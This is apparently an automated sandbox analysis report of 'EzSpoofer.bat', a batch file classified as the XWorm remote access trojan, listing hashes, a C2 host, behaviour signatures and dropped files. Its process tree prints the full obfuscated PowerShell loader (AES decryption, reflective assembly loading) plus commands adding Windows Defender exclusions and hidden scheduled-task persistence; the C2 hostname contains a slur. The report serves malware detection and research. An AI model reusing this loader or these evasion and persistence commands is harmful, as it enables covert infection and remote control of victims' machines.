Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-01-2025 18:27

General

  • Target

    EzSpoofer.bat

  • Size

    290KB

  • MD5

    cac585a686a51452504600d4fcf1f7b3

  • SHA1

    cff487749ee57d6a6228622776392fa80d85041e

  • SHA256

    876279d2efe790bf2e60a1d6bae02b08228a485d208151a5b1278e2fd11e2369

  • SHA512

    0364f3e26c03ad92ac447aa446304dd7da7a46916ae62e70380529177416964b543da4df08e0e46221f57196513a062cc46eb80d02f2c52ea2c0cd7989e1aea9

  • SSDEEP

    6144:ikknMyCyb4UpNDYSBObHBnWxp/3f8ZWftYQcuKPprtHnnWd:iOib449YFFnYf9xcbrNnq

Malware Config

Extracted

Family

xworm

C2

IDKTOBEHONESTNIGAS-56344.portmap.io:56344

Attributes
  • Install_directory

    %ProgramData%

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 64 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\EzSpoofer.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4392
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('LzMyn9z48x0Q4gbuWdOuMvyklX2ZjqkWkuihkCRVIvQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pe5tId8jJVo1uZ0oyFBZYg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YAedb=New-Object System.IO.MemoryStream(,$param_var); $lZKKA=New-Object System.IO.MemoryStream; $QbfIR=New-Object System.IO.Compression.GZipStream($YAedb, [IO.Compression.CompressionMode]::Decompress); $QbfIR.CopyTo($lZKKA); $QbfIR.Dispose(); $YAedb.Dispose(); $lZKKA.Dispose(); $lZKKA.ToArray();}function execute_function($param_var,$param2_var){ $YrspZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $otogi=$YrspZ.EntryPoint; $otogi.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\EzSpoofer.bat';$EprqD=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\EzSpoofer.bat').Split([Environment]::NewLine);foreach ($hFcVg in $EprqD) { if ($hFcVg.StartsWith(':: ')) { $ccxXr=$hFcVg.Substring(3); break; }}$payloads_var=[string[]]$ccxXr.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2288
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_708_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_708.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:408
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_708.vbs"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:468
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_708.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2692
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('LzMyn9z48x0Q4gbuWdOuMvyklX2ZjqkWkuihkCRVIvQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pe5tId8jJVo1uZ0oyFBZYg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YAedb=New-Object System.IO.MemoryStream(,$param_var); $lZKKA=New-Object System.IO.MemoryStream; $QbfIR=New-Object System.IO.Compression.GZipStream($YAedb, [IO.Compression.CompressionMode]::Decompress); $QbfIR.CopyTo($lZKKA); $QbfIR.Dispose(); $YAedb.Dispose(); $lZKKA.Dispose(); $lZKKA.ToArray();}function execute_function($param_var,$param2_var){ $YrspZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $otogi=$YrspZ.EntryPoint; $otogi.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_708.bat';$EprqD=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_708.bat').Split([Environment]::NewLine);foreach ($hFcVg in $EprqD) { if ($hFcVg.StartsWith(':: ')) { $ccxXr=$hFcVg.Substring(3); break; }}$payloads_var=[string[]]$ccxXr.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Drops startup file
            • Adds Run key to start application
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1700
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:2256
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1368
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\powershell.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:3316
            • C:\Windows\System32\schtasks.exe
              "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "powershell" /tr "C:\ProgramData\powershell.exe"
              6⤵
              • Scheduled Task/Job: Scheduled Task
              PID:2280
  • C:\ProgramData\powershell.exe
    C:\ProgramData\powershell.exe
    1⤵
    • Executes dropped EXE
    • Suspicious behavior: EnumeratesProcesses
    PID:3048

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\ProgramData\powershell.exe

    Filesize

    442KB

    MD5

    04029e121a0cfa5991749937dd22a1d9

    SHA1

    f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

    SHA256

    9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

    SHA512

    6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    661739d384d9dfd807a089721202900b

    SHA1

    5b2c5d6a7122b4ce849dc98e79a7713038feac55

    SHA256

    70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

    SHA512

    81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    f8d49a4af7a844bfc7247d5670def557

    SHA1

    26ae0ce194a77a7a1887cf93741293fdfa6c94c4

    SHA256

    61c60aa2e781a7f6ab54577db26d1be6ca3bf40c4c1d29eca48698e8cb5e1a2b

    SHA512

    9e034173b20c85fc63ec88d045ace936af567e52caafe5e5735cf6fd5e72d040b992b38c0490ee9d9e43f6f934695d5913bc7a0c682b36c99e5e2d9923c24a9c

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    77d622bb1a5b250869a3238b9bc1402b

    SHA1

    d47f4003c2554b9dfc4c16f22460b331886b191b

    SHA256

    f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

    SHA512

    d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    d8cb3e9459807e35f02130fad3f9860d

    SHA1

    5af7f32cb8a30e850892b15e9164030a041f4bd6

    SHA256

    2b139c74072ccbdaa17b950f32a6dbc934dfb7af9973d97c9b0d9c498012ba68

    SHA512

    045239ba31367fbdd59e883f74eafc05724e23bd6e8f0c1e7171ea2496a497eb9e0cfcb57285bb81c4d569daadba43d6ef64c626ca48f1e2a59e8d97f0cc9184

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rtwhzo3j.1z1.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\startup_str_708.bat

    Filesize

    290KB

    MD5

    cac585a686a51452504600d4fcf1f7b3

    SHA1

    cff487749ee57d6a6228622776392fa80d85041e

    SHA256

    876279d2efe790bf2e60a1d6bae02b08228a485d208151a5b1278e2fd11e2369

    SHA512

    0364f3e26c03ad92ac447aa446304dd7da7a46916ae62e70380529177416964b543da4df08e0e46221f57196513a062cc46eb80d02f2c52ea2c0cd7989e1aea9

  • C:\Users\Admin\AppData\Roaming\startup_str_708.vbs

    Filesize

    115B

    MD5

    039d39ef076f07184f1367f6ff09d25f

    SHA1

    361f66dfe093398161b5cacd536292da9b3c888a

    SHA256

    b851fc47473b249e0a5dcf106dad490a648b17fcd7f41639e306afbe7860ba42

    SHA512

    c202041a6072322a31b4e346c392fa0ed548326652447639645ab8410434a36623f388f038bc405d5b55263fe1a76bbdf7ca829909359351194567ccda4b9e21

  • memory/408-16-0x00007FFE584C0000-0x00007FFE58F81000-memory.dmp

    Filesize

    10.8MB

  • memory/408-26-0x00007FFE584C0000-0x00007FFE58F81000-memory.dmp

    Filesize

    10.8MB

  • memory/408-27-0x00007FFE584C0000-0x00007FFE58F81000-memory.dmp

    Filesize

    10.8MB

  • memory/408-30-0x00007FFE584C0000-0x00007FFE58F81000-memory.dmp

    Filesize

    10.8MB

  • memory/1700-49-0x0000021B511A0000-0x0000021B511B6000-memory.dmp

    Filesize

    88KB

  • memory/1700-105-0x0000021B50FB0000-0x0000021B50FBC000-memory.dmp

    Filesize

    48KB

  • memory/2288-14-0x0000015B34D30000-0x0000015B34D68000-memory.dmp

    Filesize

    224KB

  • memory/2288-13-0x0000015B1AA50000-0x0000015B1AA58000-memory.dmp

    Filesize

    32KB

  • memory/2288-0-0x00007FFE584C3000-0x00007FFE584C5000-memory.dmp

    Filesize

    8KB

  • memory/2288-50-0x00007FFE584C0000-0x00007FFE58F81000-memory.dmp

    Filesize

    10.8MB

  • memory/2288-12-0x00007FFE584C0000-0x00007FFE58F81000-memory.dmp

    Filesize

    10.8MB

  • memory/2288-11-0x00007FFE584C0000-0x00007FFE58F81000-memory.dmp

    Filesize

    10.8MB

  • memory/2288-1-0x0000015B1AA60000-0x0000015B1AA82000-memory.dmp

    Filesize

    136KB

  • memory/3048-101-0x0000023CA9D80000-0x0000023CA9DC4000-memory.dmp

    Filesize

    272KB

  • memory/3048-102-0x0000023CAA1D0000-0x0000023CAA246000-memory.dmp

    Filesize

    472KB